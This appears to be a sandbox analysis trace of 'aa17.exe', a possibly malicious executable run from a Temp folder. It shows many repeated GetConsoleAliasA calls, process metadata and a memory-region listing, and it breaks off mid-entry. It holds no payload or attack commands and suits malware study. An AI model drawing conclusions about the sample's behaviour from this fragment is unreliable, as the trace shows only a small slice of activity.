GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.387] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.388] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.389] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.390] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 Thread: id = 136 os_tid = 0x11b4 Process: id = "6" image_name = "aa17.exe" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\aa17.exe" page_root = "0x59630000" os_pid = "0x1218" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x618" cmd_line = "C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17.exe" cur_dir = "C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7820 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7821 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7822 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 7823 start_va = 0x60000 end_va = 0x61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 7824 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 7825 start_va = 0x400000 end_va = 0x8fffff monitored = 1 entry_point = 0x8fe9a0 region_type = mapped_file name = "aa17.exe" filename = "\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\aa17.exe") Region: id = 7826 start_va = 0x900000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 7827 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7828 start_va = 0x7ff5fffd0000 end_va = 0x7ff5ffff2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffd0000" filename = "" Region: id = 7829 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7842 start_va = 0xba0000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 7843 start_va = 0x7ffd4d670000 end_va = 0x7ffd4d857fff monitored = 0 entry_point = 0x7ffd4d69ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7844 start_va = 0x7ffd4e1c0000 end_va = 0x7ffd4e26cfff monitored = 0 entry_point = 0x7ffd4e1d81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7845 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7846 start_va = 0x7ff5ffed0000 end_va = 0x7ff5fffcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffed0000" filename = "" Region: id = 7847 start_va = 0x70000 end_va = 0x12dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7848 start_va = 0x7ffd4a880000 end_va = 0x7ffd4a8f8fff monitored = 0 entry_point = 0x7ffd4a89fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 7853 start_va = 0x7ff5ffe50000 end_va = 0x7ff5ffecdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 8068 start_va = 0x7ffd4e480000 end_va = 0x7ffd4e526fff monitored = 0 entry_point = 0x7ffd4e4958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8069 start_va = 0x7ffd4df00000 end_va = 0x7ffd4df9cfff monitored = 0 entry_point = 0x7ffd4df078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 8070 start_va = 0xca0000 end_va = 0xe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 8071 start_va = 0x7ffd4e160000 end_va = 0x7ffd4e1bafff monitored = 0 entry_point = 0x7ffd4e1738b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 8072 start_va = 0x7ffd4da60000 end_va = 0x7ffd4db7bfff monitored = 0 entry_point = 0x7ffd4daa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 8073 start_va = 0xea0000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 8074 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8086 start_va = 0x7ffd4c590000 end_va = 0x7ffd4c59afff monitored = 0 entry_point = 0x7ffd4c5919a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8087 start_va = 0x7ffd4d860000 end_va = 0x7ffd4d8c9fff monitored = 0 entry_point = 0x7ffd4d896d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 8088 start_va = 0x7ffd4b250000 end_va = 0x7ffd4b272fff monitored = 0 entry_point = 0x7ffd4b253670 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 8094 start_va = 0x130000 end_va = 0x136fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8099 start_va = 0x7ffd4e9d0000 end_va = 0x7ffd4eb25fff monitored = 0 entry_point = 0x7ffd4e9da8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8100 start_va = 0x7ffd4d8d0000 end_va = 0x7ffd4da55fff monitored = 0 entry_point = 0x7ffd4d91ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8101 start_va = 0x7ffd4aa40000 end_va = 0x7ffd4aa6bfff monitored = 0 entry_point = 0x7ffd4aa48210 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 8110 start_va = 0x7ffd4cb80000 end_va = 0x7ffd4cbc2fff monitored = 0 entry_point = 0x7ffd4cb94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 8111 start_va = 0x140000 end_va = 0x178fff monitored = 0 entry_point = 0x1412f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8112 start_va = 0xea0000 end_va = 0x1027fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ea0000" filename = "" Region: id = 8113 start_va = 0x1030000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 8114 start_va = 0x7ffd4e2e0000 end_va = 0x7ffd4e31afff monitored = 0 entry_point = 0x7ffd4e2e12f0 region_type = mapped_file name = "imm32.dll" filename = 